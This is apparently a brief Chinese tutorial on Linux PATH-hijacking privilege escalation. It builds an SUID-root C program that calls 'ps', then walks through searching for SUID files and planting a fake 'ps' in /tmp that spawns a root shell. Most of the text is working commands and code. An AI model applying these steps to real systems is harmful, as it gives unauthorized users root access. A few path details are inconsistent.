linnx环境变量提权
这个手法平时使用有点鸡肋,但是还是分享一下
前提是管理员要配置了suid权限的目录或文件
现在我们的当前目录是/home/hack/script,我们将在当前目录下创建一个srcipt目录。然后cd到script目录中,编写一个简单的c程序来调用系统二进制文件的函数。
pwd
mkdir script
cd /script
vim demo.c
#include<unistd.h>
void main()
{ setuid(0);
setgid(0);
system("ps");
}
ls
gcc demo.c -o shell
chmod u+s shell
ls -la shell
首先,你需要先入侵靶机系统并且进入到提权阶段。假设你已经通过ssh成功登录到了靶机上,二话不说,我们直接使用find命令来搜索具有SUID或4000权限的文件。
find / -perm -u=s -type f 2>/dev/null
通过执行上述命令,攻击者可以遍历任何可执行文件,在这里我们可以看到/home/raj/script目录下的shell文件具有SUID权限,如图:
于是我们cd到/home/hack/script
目录下,ls一下,看到了名为shell的可执行文件。我们运行一下这个文件,可以看到shell文件尝试执行ps命令,这个命令是/bin目录下的用来查看进程状态的真实文件。
ls
./shell
echo命令
cd /tmp
echo “/bin/bash” > ps
chmod 777 ps
echo $PATH
export PATH=/tmp:$PATH
cd /home/hack/script
./shell
whoami
copy命令
cd /home/hack/script
cp /bin/sh /tmp/ps
echo $PATH
export PATH=/tmp:$PATH
./shell
whoami
同理还有其他方式不一一列举了